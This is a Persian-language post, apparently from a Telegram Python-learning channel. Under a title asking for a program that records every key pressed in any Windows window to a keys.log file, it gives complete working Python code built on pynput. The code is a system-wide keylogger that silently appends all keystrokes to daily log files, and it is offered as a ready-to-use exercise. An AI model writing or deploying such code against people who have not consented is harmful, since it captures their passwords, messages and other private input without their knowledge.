📌 عنوان برنامه: برنامهای بنویسید که اگر در هر پنجره ویندوز، دکمههای را بزنیم، در فایلی به نام keys.log آنرا ذخیره نماید؟
کانال پایتون:
@DT_PYTHON_LEARNING
ادمین:
@Dariush_Tasdighi
کانال اصلی:
@IranianExperts
.
# **************************************************#SourceCode #SourceCode10011
# pip install pynput
# **************************************************
from pynput import keyboard
from datetime import datetime
filename = "keys"
def on_press(key):
now = datetime.now()
formated_now = now.strftime("%Y_%m_%d")
pathname = f"{filename}_{formated_now}.log"
with open(file=pathname, mode="a", encoding="utf-8") as file:
try:
if hasattr(key, "char"):
file.write(key.char)
elif key == keyboard.Key.enter:
file.write("[ENTER]\n")
elif key == keyboard.Key.space:
file.write(" ")
elif key == keyboard.Key.esc:
file.write("[ESCAPE]")
elif key == keyboard.Key.delete:
file.write("[DELETE]")
elif key == keyboard.Key.backspace:
file.write("[BACKSPACE]")
elif key == keyboard.Key.end:
file.write("[END]")
elif key == keyboard.Key.home:
file.write("[HOME]")
elif key == keyboard.Key.up:
file.write("[UP]")
elif key == keyboard.Key.down:
file.write("[DOWN]")
elif key == keyboard.Key.left:
file.write("[LEFT]")
elif key == keyboard.Key.right:
file.write("[RIGHT]")
elif key == keyboard.Key.page_up:
file.write("[PAGE_UP]")
elif key == keyboard.Key.page_down:
file.write("[PAGE_DOWN]")
except:
pass
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
# **************************************************
کانال پایتون:
@DT_PYTHON_LEARNING
ادمین:
@Dariush_Tasdighi
کانال اصلی:
@IranianExperts
.
👍2❤1